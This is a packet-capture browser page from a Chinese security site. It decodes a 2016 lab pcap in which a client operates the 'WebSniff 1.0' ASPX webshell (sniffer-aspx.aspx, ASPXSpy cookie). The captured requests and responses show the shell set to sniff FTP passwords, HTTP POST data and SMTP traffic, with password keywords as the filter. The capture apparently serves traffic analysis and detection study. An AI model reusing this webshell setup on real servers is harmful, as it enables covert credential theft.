机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170705/20170705141104_46819.pcap Size is:	8309
FileHeader is:	d4c3b2a1020004000000000000000000 ffff000001000000

Pack 1
PackHeader is:	715b8b56e37307004200000042000000
DateTime:	2016-01-05 13:58:09.488419
Pack Caplen is:	66
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185118330->0
Data Len is:	12
Hex Data is:	020405b40103030201010402
Binary Data is:	�
Pack 2
PackHeader is:	715b8b56c97507004200000042000000
DateTime:	2016-01-05 13:58:09.488905
Pack Caplen is:	66
Src MAC is:	2c44fd2512c7
Dst MAC is:	000c29cba53d
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.35
DecIP Addr is:	192.168.4.38
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	49178
SEQ -> NSEQ is:	934285632->185118331
Data Len is:	12
Hex Data is:	020405b40103030801010402
Binary Data is:	�
Pack 3
PackHeader is:	715b8b56777607003600000036000000
DateTime:	2016-01-05 13:58:09.489079
Pack Caplen is:	54
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185118331->934285633
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	715b8b56758307002803000028030000
DateTime:	2016-01-05 13:58:09.492405
Pack Caplen is:	808
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185118331->934285633
Data Len is:	754
Hex Data is:	504f5354202f7765627368656c6c2d6d 61737465722f6e65742d667269656e64 2f617370782f736e69666665722d6173 70782e6173707820485454502f312e31 0d0a4163636570743a206170706c6963 6174696f6e2f782d6d732d6170706c69 636174696f6e2c20696d6167652f6a70 65672c206170706c69636174696f6e2f 78616d6c2b786d6c2c20696d6167652f 6769662c20696d6167652f706a706567 2c206170706c69636174696f6e2f782d 6d732d786261702c202a2f2a0d0a5265 66657265723a20687474703a2f2f3139 322e3136382e342e33352f7765627368 656c6c2d6d61737465722f6e65742d66 7269656e642f617370782f736e696666 65722d617370782e617370780d0a4163 636570742d4c616e67756167653a207a 682d434e0d0a557365722d4167656e74 3a204d6f7a696c6c612f342e30202863 6f6d70617469626c653b204d53494520 372e303b2057696e646f7773204e5420 362e313b20574f5736343b2054726964 656e742f342e303b20534c4343323b20 2e4e455420434c5220322e302e353037 32373b202e4e455420434c5220332e35 2e33303732393b202e4e455420434c52 20332e302e33303732393b204d656469 612043656e74657220504320362e303b 202e4e4554342e30433b202e4e455434 2e3045290d0a436f6e74656e742d5479 70653a206170706c69636174696f6e2f 782d7777772d666f726d2d75726c656e 636f6465640d0a4163636570742d456e 636f64696e673a20677a69702c206465 666c6174650d0a486f73743a20313932 2e3136382e342e33350d0a436f6e7465 6e742d4c656e6774683a20313039340d 0a436f6e6e656374696f6e3a204b6565 702d416c6976650d0a43616368652d43 6f6e74726f6c3a206e6f2d6361636865 0d0a436f6f6b69653a204153502e4e45 545f53657373696f6e49643d69797167 676f353562637768696e3435686e7666 646f666f3b20415350585370793d3231 32333266323937613537613561373433 38393461306534613830316663330d0a 0d0a
Binary Data is:	POST /webshell-master/net-friend/aspx/sniffer-aspx.aspx HTTP/1.1 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, / Referer: http://192.168.4.35/webshell-master/net-friend/aspx/sniffer-aspx.aspx Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.4.35 Content-Length: 1094 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId=iyqggo55bcwhin45hnvfdofo; ASPXSpy=21232f297a57a5a743894a0e4a801fc3
Pack 5
PackHeader is:	715b8b566b8507007c0400007c040000
DateTime:	2016-01-05 13:58:09.492907
Pack Caplen is:	1148
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185119085->934285633
Data Len is:	1094
Hex Data is:	5f5f5649455753544154453d25324677 45504477554a4d5441784f444d774e44 51314432515741674945443251574341 49424478426b447859465a6749424167 494341774945466755514252746d5a54 67774f6a706a4f5455324f6a4d344d7a 6f344d5464694f6a526b4f54516c4d54 554647325a6c4f4441364f6d4d354e54 59364d7a677a4f6a67784e3249364e47 51354e4355784e5763514252786d5a54 67774f6a706a4f544e6c4f6d51344e7a 51364e5759355a6a706c596a4d794a54 45324252786d5a5467774f6a706a4f54 4e6c4f6d51344e7a51364e5759355a6a 706c596a4d794a5445325a7841464444 45354d6934784e6a67754e43347a4e51 554d4d546b794c6a45324f4334304c6a 4d315a784146445445354d6934784e6a 67754d6a4d784c6a4546445445354d69 34784e6a67754d6a4d784c6a466e4541 554e4d546b794c6a45324f4334784e54 4d754d51554e4d546b794c6a45324f43 34784e544d754d57646b5a4149544477 38574168344852573568596d786c5a47 646b5a41495a44773857416834455647 563464415559355a6546356f3669364c 2532425935724b683570794a35627941 3561654c36614b645a47514347773850 466749664151556e50474a79506d7868 6333516764476c745a53427a64473977 49474630494449774d5459764d533831 4944457a4f6a55324f6a55335a475159 415155655831394462323530636d3973 63314a6c63585670636d565162334e30 516d466a6130746c6556396646674d46 42584e665a6e52774251747a58326830 644842666347397a644155476331397a 62585277764543706d2532464f324576 78694d596e663841416872616451317a 77253344265f5f4556454e5456414c49 444154494f4e3d25324677455745514c 417a6f6125324642774c757272727842 774b3433727a6f44514b626d664f7643 774b417a644b4242774c5a6e35253242 7443774c663450666b43774b50337425 32465842674c696b63326744414c3368 38575942774b65394d793741674c676f 4d466c41715062677341474171797933 70494d41727a61736f6f4b416f7a6e69 7359474174584b344e6b4f4963647a33 74724468622532466753546b4a58746a 5334556b7258526f2533442664646c69 73743d3139322e3136382e342e333526 735f6674703d6f6e26735f687474705f 706f73743d6f6e26735f736d74703d6f 6e267478744d696e6973697a653d3134 3630267478746b6579776f7264733d70 617373776425324370617373776f7264 253243676574253243706f7374267478 746c6f6766696c653d46253341253543 74657374776562253543776562736865 6c6c2d6d61737465722535436e65742d 667269656e6425354361737078253543 77313330393634343730313738353635 3835382e747874267478747061636b65 74733d3230313625324631253246362b 31332533413536253341353726537461 7274733d254535254243253830254535 254137253842
Binary Data is:	__VIEWSTATE=%2FwEPDwUJMTAxODMwNDQ1D2QWAgIED2QWCAIBDxBkDxYFZgIBAgICAwIEFgUQBRtmZTgwOjpjOTU2OjM4Mzo4MTdiOjRkOTQlMTUFG2ZlODA6OmM5NTY6MzgzOjgxN2I6NGQ5NCUxNWcQBRxmZTgwOjpjOTNlOmQ4NzQ6NWY5ZjplYjMyJTE2BRxmZTgwOjpjOTNlOmQ4NzQ6NWY5ZjplYjMyJTE2ZxAFDDE5Mi4xNjguNC4zNQUMMTkyLjE2OC40LjM1ZxAFDTE5Mi4xNjguMjMxLjEFDTE5Mi4xNjguMjMxLjFnEAUNMTkyLjE2OC4xNTMuMQUNMTkyLjE2OC4xNTMuMWdkZAITDw8WAh4HRW5hYmxlZGdkZAIZDw8WAh4EVGV4dAUY5ZeF5o6i6L%2BY5rKh5pyJ5byA5aeL6aKdZGQCGw8PFgIfAQUnPGJyPmxhc3QgdGltZSBzdG9wIGF0IDIwMTYvMS81IDEzOjU2OjU3ZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFBXNfZnRwBQtzX2h0dHBfcG9zdAUGc19zbXRwvECpm%2FO2EvxiMYnf8AAhradQ1zw%3D&__EVENTVALIDATION=%2FwEWEQLAzoa%2FBwLurrrxBwK43rzoDQKbmfOvCwKAzdKBBwLZn5%2BtCwLf4PfkCwKP3t%2FXBgLikc2gDAL3h8WYBwKe9My7AgLgoMFlAqPbgsAGAqyy3pIMArzasooKAoznisYGAtXK4NkOIcdz3trDhb%2FgSTkJXtjS4UkrXRo%3D&ddlist=192.168.4.35&s_ftp=on&s_http_post=on&s_smtp=on&txtMinisize=1460&txtkeywords=passwd%2Cpassword%2Cget%2Cpost&txtlogfile=F%3A%5Ctestweb%5Cwebshell-master%5Cnet-friend%5Caspx%5Cw130964470178565858.txt&txtpackets=2016%2F1%2F6+13%3A56%3A57&Starts=%E5%BC%80%E5%A7%8B
Pack 6
PackHeader is:	715b8b568c8507003600000036000000
DateTime:	2016-01-05 13:58:09.492940
Pack Caplen is:	54
Src MAC is:	2c44fd2512c7
Dst MAC is:	000c29cba53d
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.35
DecIP Addr is:	192.168.4.38
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	49178
SEQ -> NSEQ is:	934285633->185120179
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 7
PackHeader is:	715b8b563a9307009e0b00009e0b0000
DateTime:	2016-01-05 13:58:09.496442
Pack Caplen is:	2974
Src MAC is:	2c44fd2512c7
Dst MAC is:	000c29cba53d
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.35
DecIP Addr is:	192.168.4.38
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	49178
SEQ -> NSEQ is:	934285633->185120179
Data Len is:	2920
Hex Data is:	485454502f312e3120323030204f4b0d 0a43616368652d436f6e74726f6c3a20 707269766174650d0a436f6e74656e74 2d547970653a20746578742f68746d6c 3b20636861727365743d7574662d380d 0a5365727665723a204d6963726f736f 66742d4949532f372e350d0a582d4173 704e65742d56657273696f6e3a20322e 302e35303732370d0a582d506f776572 65642d42793a204153502e4e45540d0a 446174653a205475652c203035204a61 6e20323031362030353a35383a303920 474d540d0a436f6e74656e742d4c656e 6774683a20353432320d0a0d0a0a3c21 444f43545950452068746d6c20505542 4c494320222d2f2f5733432f2f445444 205848544d4c20312e30205472616e73 6974696f6e616c2f2f454e2220226874 74703a2f2f7777772e77332e6f72672f 54522f7868746d6c312f4454442f7868 746d6c312d7472616e736974696f6e61 6c2e647464223e0a3c68746d6c20786d 6c6e733d22687474703a2f2f7777772e 77332e6f72672f313939392f7868746d 6c223e0a3c686561643e3c7469746c65 3e0d0a09576562536e69666620312e30 2020506f77657265642062792020e4b8 8ae59684e88ba5e6b0b420e6b189e58c 96e78988200d0a3c2f7469746c653e3c 2f686561643e0a3c626f64793e0a0a0a 0a0a0a3c7374796c6520747970653d22 746578742f637373223e0a3c212d2d0a 61207b0a636f6c6f723a202346463030 303009203b746578742d6465636f7261 74696f6e3a206e6f6e650a7d0a236220 0a7b0a636f6c6f723a20233333363639 393b0a666f6e742d73697a653a203130 70743b0a746578742d616c69676e3a20 72696768743b0a7d0a237474200a7b0a 766572746963616c2d616c69676e3a20 6d6964646c653b0a666f6e742d73697a 653a20313270743b0a746578742d616c 69676e3a2063656e7465723b0a7d0a0a 2343745f32200a7b0a70616464696e67 2d6c6566743a333070783b0a666f6e74 2d73697a653a20313070743b0a636f6c 6f723a20233333363639393b0a766572 746963616c2d616c69676e3a206d6964 646c653b0a746578742d616c69676e3a 206c6566743b0a6261636b67726f756e 642d636f6c6f723a20616c696365626c 75653b0a626f726465722d7769647468 3a203170783b0a626f726465722d7374 796c653a20736f6c69643b0a626f7264 65722d636f6c6f723a202d6d6f7a2d75 73652d746578742d636f6c6f723b0a70 616464696e672d626f74746f6d3a3130 70783b0a7d0a2d2d3e0a3c2f7374796c 653e0a3c666f726d206e616d653d2266 6f726d3122206d6574686f643d22706f 73742220616374696f6e3d22736e6966 6665722d617370782e61737078222069 643d22666f726d31223e0d0a3c646976 3e0d0a3c696e70757420747970653d22 68696464656e22206e616d653d225f5f 564945575354415445222069643d225f 5f564945575354415445222076616c75 653d222f7745504477554a4d5441784f 444d774e445131443251574167494544 325157434149424478426b447859465a 67494241674943417749454667555142 52746d5a5467774f6a706a4f5455324f 6a4d344d7a6f344d5464694f6a526b4f 54516c4d54554647325a6c4f4441364f 6d4d354e5459364d7a677a4f6a67784e 3249364e4751354e4355784e57635142 52786d5a5467774f6a706a4f544e6c4f 6d51344e7a51364e5759355a6a706c59 6a4d794a5445324252786d5a5467774f 6a706a4f544e6c4f6d51344e7a51364e 5759355a6a706c596a4d794a5445325a 784146444445354d6934784e6a67754e 43347a4e51554d4d546b794c6a45324f 4334304c6a4d315a784146445445354d 6934784e6a67754d6a4d784c6a454644 5445354d6934784e6a67754d6a4d784c 6a466e4541554e4d546b794c6a45324f 4334784e544d754d51554e4d546b794c 6a45324f4334784e544d754d57646b5a 41495444773857416834485257356859 6d786c5a47686b5a41495a4477385741 68344556475634644155314451705462 6d6c6d5a6d6c755a79354462476c6a61 794169556d566d636d567a6143496764 4738676332566c4948526f5a53427359 584e305a584e3049484e305958523163 79356b5a414962447738574168384242 536338596e492b6247467a6443423061 57316c49484e3062334167595851674d 6a41784e6938784c7a55674d544d364e 5459364e54646b5a4267424252356658 304e76626e52796232787a556d567864 576c795a5642766333524359574e7253 32563558313857417755466331396d64 48414643334e66614852306346397762 334e3042515a7a58334e746448437a43 5269586171464c5478734d6c37704d61 43494e3336574268413d3d22202f3e0d 0a3c2f6469763e0d0a0d0a3c6469763e 0d0a0d0a093c696e7075742074797065 3d2268696464656e22206e616d653d22 5f5f4556454e5456414c49444154494f 4e222069643d225f5f4556454e545641 4c49444154494f4e222076616c75653d 222f77455745514b78334e765641514c 757272727842774b3433727a6f44514b 626d664f7643774b417a644b4242774c 5a6e352b7443774c663450666b43774b 5033742f5842674c696b63326744414c 336838575942774b65394d793741674c 676f4d466c4171506267734147417179 793370494d41727a61736f6f4b416f7a 6e697359474174584b344e6b4f74537a 39456a554f71747a6c79764c75725672 336232364f7a6b493d22202f3e0d0a3c 2f6469763e0a3c6469762069643d2274 74223e20203c623e20576562536e6966 6620312e303c2f623e3c6272202f3e3c 6272202f3e20203c2f6469763e0a3c64 69762069643d2243745f3222203e0a20 2020203c7461626c652077696474683d 223130302522203e0a2020202020203c 7472203e0a2020202020202020202020 203c7464202077696474683d22313025 223e20e79baee6a08749503a203c2f74 643e0a2020202020202020202020203c 7464203e3c73656c656374206e616d65 3d2264646c697374222069643d226464 6c69737422207374796c653d22776964 74683a3930253b223e0d0a093c6f7074 696f6e2076616c75653d22666538303a 3a633935363a3338333a383137623a34 643934253135223e666538303a3a6339 35363a3338333a383137623a34643934 2531353c2f6f7074696f6e3e0d0a093c 6f7074696f6e2076616c75653d226665 38303a3a633933653a643837343a3566 39663a65623332253136223e66653830 3a3a633933653a643837343a35663966 3a656233322531363c2f6f7074696f6e 3e0d0a093c6f7074696f6e2073656c65 637465643d2273656c65637465642220 76616c75653d223139322e3136382e34 2e3335223e3139322e3136382e342e33 353c2f6f7074696f6e3e0d0a093c6f70 74696f6e2076616c75653d223139322e 3136382e3233312e31223e3139322e31 36382e3233312e313c2f6f7074696f6e 3e0d0a093c6f7074696f6e2076616c75 653d223139322e3136382e3135332e31 223e3139322e3136382e3135332e313c 2f6f7074696f6e3e0d0a0d0a3c2f7365 6c6563743e3c2f74643e0a2020202020 2020203c2f74723e0a20202020202020 200a2020202020203c7472203e0a2020 202020202020202020203c7464202077 696474683d22313025223ee887aae58a a8e59785e68ea23a203c2f74643e0a20 20202020202020202020203c7464203e 0a202020202020202020202020465450 20e5af86e7a0813a0a20202020202020 2020202020203c696e7075742069643d 22735f6674702220747970653d226368 65636b626f7822206e616d653d22735f 6674702220636865636b65643d226368 65636b656422202f3e0a202020202020 20202020202020266e6273703b266e62 73703b0a202020202020202020202020 200a2020202020202020202020202048 54545020506f737420446174613a0a20 202020202020202020202020203c696e 7075742069643d22735f687474705f70 6f73742220747970
Binary Data is:	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 05 Jan 2016 05:58:09 GMT Content-Length: 5422 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> WebSniff 1.0 Powered by 上善若水汉化版 </title></head> <body> <style type="text/css"> <!-- a { color: #FF0000 ;text-decoration: none } #b { color: #336699; font-size: 10pt; text-align: right; } #tt { vertical-align: middle; font-size: 12pt; text-align: center; } #Ct_2 { padding-left:30px; font-size: 10pt; color: #336699; vertical-align: middle; text-align: left; background-color: aliceblue; border-width: 1px; border-style: solid; border-color: -moz-use-text-color; padding-bottom:10px; } --> </style> <form name="form1" method="post" action="sniffer-aspx.aspx" id="form1"> <div> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJMTAxODMwNDQ1D2QWAgIED2QWCAIBDxBkDxYFZgIBAgICAwIEFgUQBRtmZTgwOjpjOTU2OjM4Mzo4MTdiOjRkOTQlMTUFG2ZlODA6OmM5NTY6MzgzOjgxN2I6NGQ5NCUxNWcQBRxmZTgwOjpjOTNlOmQ4NzQ6NWY5ZjplYjMyJTE2BRxmZTgwOjpjOTNlOmQ4NzQ6NWY5ZjplYjMyJTE2ZxAFDDE5Mi4xNjguNC4zNQUMMTkyLjE2OC40LjM1ZxAFDTE5Mi4xNjguMjMxLjEFDTE5Mi4xNjguMjMxLjFnEAUNMTkyLjE2OC4xNTMuMQUNMTkyLjE2OC4xNTMuMWdkZAITDw8WAh4HRW5hYmxlZGhkZAIZDw8WAh4EVGV4dAU1DQpTbmlmZmluZy5DbGljayAiUmVmcmVzaCIgdG8gc2VlIHRoZSBsYXN0ZXN0IHN0YXR1cy5kZAIbDw8WAh8BBSc8YnI+bGFzdCB0aW1lIHN0b3AgYXQgMjAxNi8xLzUgMTM6NTY6NTdkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAwUFc19mdHAFC3NfaHR0cF9wb3N0BQZzX3NtdHCzCRiXaqFLTxsMl7pMaCIN36WBhA==" /> </div> <div> <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWEQKx3NvVAQLurrrxBwK43rzoDQKbmfOvCwKAzdKBBwLZn5+tCwLf4PfkCwKP3t/XBgLikc2gDAL3h8WYBwKe9My7AgLgoMFlAqPbgsAGAqyy3pIMArzasooKAoznisYGAtXK4NkOtSz9EjUOqtzlyvLurVr3b26OzkI=" /> </div> <div id="tt"> <b> WebSniff 1.0</b><br /><br /> </div> <div id="Ct_2" > <table width="100%" > <tr > <td width="10%"> 目标IP: </td> <td ><select name="ddlist" id="ddlist" style="width:90%;"> <option value="fe80::c956:383:817b:4d94%15">fe80::c956:383:817b:4d94%15</option> <option value="fe80::c93e:d874:5f9f:eb32%16">fe80::c93e:d874:5f9f:eb32%16</option> <option selected="selected" value="192.168.4.35">192.168.4.35</option> <option value="192.168.231.1">192.168.231.1</option> <option value="192.168.153.1">192.168.153.1</option> </select></td> </tr> <tr > <td width="10%">自动嗅探: </td> <td > FTP 密码: <input id="s_ftp" type="checkbox" name="s_ftp" checked="checked" /> HTTP Post Data: <input id="s_http_post" typ
Pack 8
PackHeader is:	715b8b56f99307003600000036000000
DateTime:	2016-01-05 13:58:09.496633
Pack Caplen is:	54
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185120179->934288553
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 9
PackHeader is:	715b8b561d940700d90a0000d90a0000
DateTime:	2016-01-05 13:58:09.496669
Pack Caplen is:	2777
Src MAC is:	2c44fd2512c7
Dst MAC is:	000c29cba53d
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.35
DecIP Addr is:	192.168.4.38
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	49178
SEQ -> NSEQ is:	934288553->185120179
Data Len is:	2723
Hex Data is:	653d22636865636b626f7822206e616d 653d22735f687474705f706f73742220 636865636b65643d22636865636b6564 22202f3e0a2020202020202020202020 202020266e6273703b266e6273703b0a 20202020202020202020202020200a20 20202020202020202020202020536d74 7020446174613a0a2020202020202020 202020202020203c696e707574206964 3d22735f736d74702220747970653d22 636865636b626f7822206e616d653d22 735f736d74702220636865636b65643d 22636865636b656422202f3e0a202020 2020202020202020200a202020202020 2020202020200a202020202020202020 2020203c2f74643e0a20202020202020 203c2f74723e0a202020202020202020 202020202020202020200a2020202020 2020200a20202020202020200a202020 20202020203c74723e0a202020202020 2020202020203c746420223e0a202020 20202020202020202020202020e79bae e6a087e7abafe58fa33a0a2020202020 202020202020203c2f74643e0a202020 2020202020202020203c74643e0a2020 20202020202020202020202020203c69 6e707574206e616d653d22747874706f 72742220747970653d22746578742220 76616c75653d2230222069643d227478 74706f727422207374796c653d227769 6474683a3930253b22202f3e0a202020 2020202020202020203c2f74643e0a20 202020202020203c2f74723e0a202020 20202020203c74723e0a202020202020 2020202020203c7464203e0a20202020 202020202020202020202020e695b0e6 8daee58c85e5a4a7e5b08f3a0a202020 2020202020202020203c2f74643e0a20 20202020202020202020203c7464203e 0a202020202020202020202020202020 203c696e707574206e616d653d227478 744d696e6973697a652220747970653d 2274657874222076616c75653d223134 3630222069643d227478744d696e6973 697a6522207374796c653d2277696474 683a3930253b22202f3e0a2020202020 202020202020203c2f74643e0a202020 20202020203c2f74723e0a2020202020 2020203c74723e0a2020202020202020 202020203c74643e0a20202020202020 202020202020202020e585b3e994aee5 ad97e5a682efbc88706173737764293a 0a2020202020202020202020203c2f74 643e0a2020202020202020202020203c 74643e0a202020202020202020202020 202020203c696e707574206e616d653d 227478746b6579776f72647322207479 70653d2274657874222076616c75653d 227061737377642c70617373776f7264 2c6765742c706f7374222069643d2274 78746b6579776f72647322207374796c 653d2277696474683a3930253b22202f 3e0a2020202020202020202020203c2f 74643e0a20202020202020203c2f7472 3e0a20202020202020203c74723e0a20 20202020202020202020203c7464203e 0a202020202020202020202020202020 20e695b0e68daee58c85e69687e4bbb6 e5ad98e694bee4bd8de7bdae3a0a2020 202020202020202020203c2f74643e0a 2020202020202020202020203c74643e 0a202020202020202020202020202020 203c696e707574206e616d653d227478 746c6f6766696c652220747970653d22 74657874222076616c75653d22463a5c 746573747765625c7765627368656c6c 2d6d61737465725c6e65742d66726965 6e645c617370785c7731333039363434 37303137383536353835382e74787422 2069643d227478746c6f6766696c6522 207374796c653d2277696474683a3930 253b22202f3e0a202020202020202020 2020203c2f74643e0a20202020202020 203c2f74723e0a20202020202020203c 74723e0a202020202020202020202020 3c7464203e0a20202020202020202020 202020202020e5ae9ae697b6e5819ce6 ada23a0a202020202020202020202020 3c2f74643e0a20202020202020202020 20203c74643e0a202020202020202020 202020202020203c696e707574206e61 6d653d227478747061636b6574732220 747970653d2274657874222076616c75 653d22323031362f312f362031333a35 363a3537222069643d22747874706163 6b65747322207374796c653d22776964 74683a3930253b22202f3e0a20202020 20202020202020203c2f74643e0a2020 2020202020203c2f74723e0a09202020 20203c74723e0a202020202020202020 2020203c7464203e0a20202020202020 202020202009202020202020e68ea7e5 88b63a0a202020202020202020202020 3c2f74643e0a20202020202020202020 20203c746420202077696474683d2239 302522203e09203c696e707574207479 70653d227375626d697422206e616d65 3d22537461727473222076616c75653d 22e5bc80e5a78b222069643d22537461 727473222064697361626c65643d2264 697361626c656422202f3e0a09090920 20202020203c696e7075742074797065 3d227375626d697422206e616d653d22 427574746f6e31222076616c75653d22 e5819ce6ada2222069643d2242757474 6f6e3122202f3e0a2020202020202020 202020202020202020203c696e707574 20747970653d227375626d697422206e 616d653d22427574746f6e5f72656622 2076616c75653d22e4bf9de5ad982220 69643d22427574746f6e5f7265662220 2f3e3c6272202f3e0a20202020202020 20202020203c2f74643e0a2020202020 2020203c2f74723e0a0920202020203c 74723e0a202020202020202020202020 3c746420203e0a202020202020202020 20202009202020202020537461747573 3a0a2020202020202020202020203c2f 74643e0a202020202020202020202020 3c746420202077696474683d22393025 223e3c6469762069643d2273223e3c73 70616e2069643d224c625f6d7367223e 0d0a536e696666696e672e436c69636b 2022526566726573682220746f207365 6520746865206c617374657374207374 617475732e3c2f7370616e3e0a202020 2020202020202020203c2f74643e0a20 202020202020203c2f74723e0a0a0920 202020203c74723e0a20202020202020 20202020203c746420203e0a20202020 2020202020202020202020200920200a 2020202020202020202020203c2f7464 3e0a2020202020202020202020203c74 6420202077696474683d22393025223e 3c6469762069643d2273223e3c737061 6e2069643d224c625f6d736732223e3c 62723e6c6173742074696d652073746f 7020617420323031362f312f35203133 3a35363a35373c2f7370616e3e0a2020 202020202020202020203c2f74643e0a 20202020202020203c2f74723e0a2020 2020202020200a0a0a202020203c2f74 61626c653e0a202020203c2f6469763e 3c6272202f3e3c6272202f3e0a202020 203c6469762069643d623e506f776572 6564206279203c6120687265663d222f 2f757365722e717a6f6e652e71712e63 6f6d2f333536343937303231223e20e4 b88ae59684e88ba5e6b0b4203c2f613e 7ce6b189e58c960a202020200a202020 203c6120687265663d2220687474703a 2f2f757365722e717a6f6e652e71712e 636f6d2f333536343937303231223e31 3c2f613e200a0a202020203c61206872 65663d22687474703a2f2f757365722e 717a6f6e652e71712e636f6d2f333536 343937303231223e323c2f613e200a20 2020203c2f6469763e0a200a20202020 0a202020200a202020200a3c2f666f72 6d3e0a3c2f626f64793e0a3c2f68746d 6c3e0a
Binary Data is:	e="checkbox" name="s_http_post" checked="checked" /> Smtp Data: <input id="s_smtp" type="checkbox" name="s_smtp" checked="checked" /> </td> </tr> <tr> <td "> 目标端口: </td> <td> <input name="txtport" type="text" value="0" id="txtport" style="width:90%;" /> </td> </tr> <tr> <td > 数据包大小: </td> <td > <input name="txtMinisize" type="text" value="1460" id="txtMinisize" style="width:90%;" /> </td> </tr> <tr> <td> 关键字如（passwd): </td> <td> <input name="txtkeywords" type="text" value="passwd,password,get,post" id="txtkeywords" style="width:90%;" /> </td> </tr> <tr> <td > 数据包文件存放位置: </td> <td> <input name="txtlogfile" type="text" value="F:\testweb\webshell-master\net-friend\aspx\w130964470178565858.txt" id="txtlogfile" style="width:90%;" /> </td> </tr> <tr> <td > 定时停止: </td> <td> <input name="txtpackets" type="text" value="2016/1/6 13:56:57" id="txtpackets" style="width:90%;" /> </td> </tr> <tr> <td > 控制: </td> <td width="90%" > <input type="submit" name="Starts" value="开始" id="Starts" disabled="disabled" /> <input type="submit" name="Button1" value="停止" id="Button1" /> <input type="submit" name="Button_ref" value="保存" id="Button_ref" /><br /> </td> </tr> <tr> <td > Status: </td> <td width="90%"><div id="s"><span id="Lb_msg"> Sniffing.Click "Refresh" to see the lastest status.</span> </td> </tr> <tr> <td > </td> <td width="90%"><div id="s"><span id="Lb_msg2"><br>last time stop at 2016/1/5 13:56:57</span> </td> </tr> </table> </div><br /><br /> <div id=b>Powered by <a href="//user.qzone.qq.com/356497021"> 上善若水 </a>\|汉化 <a href=" http://user.qzone.qq.com/356497021">1</a> <a href="http://user.qzone.qq.com/356497021">2</a> </div> </form> </body> </html>
Pack 10
PackHeader is:	715b8b56b39407003600000036000000
DateTime:	2016-01-05 13:58:09.496819
Pack Caplen is:	54
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185120179->934291276
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 11
PackHeader is:	ad5b8b566d0009003600000036000000
DateTime:	2016-01-05 13:59:09.589933
Pack Caplen is:	54
Src MAC is:	000c29cba53d
Dst MAC is:	2c44fd2512c7
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.4.38
DecIP Addr is:	192.168.4.35
Data Proctol is:	06(TCP)
Src Port is:	49178
Dec Port is:	80
SEQ -> NSEQ is:	185120179->934291276
Data Len is:	0
Hex Data is:
Binary Data is: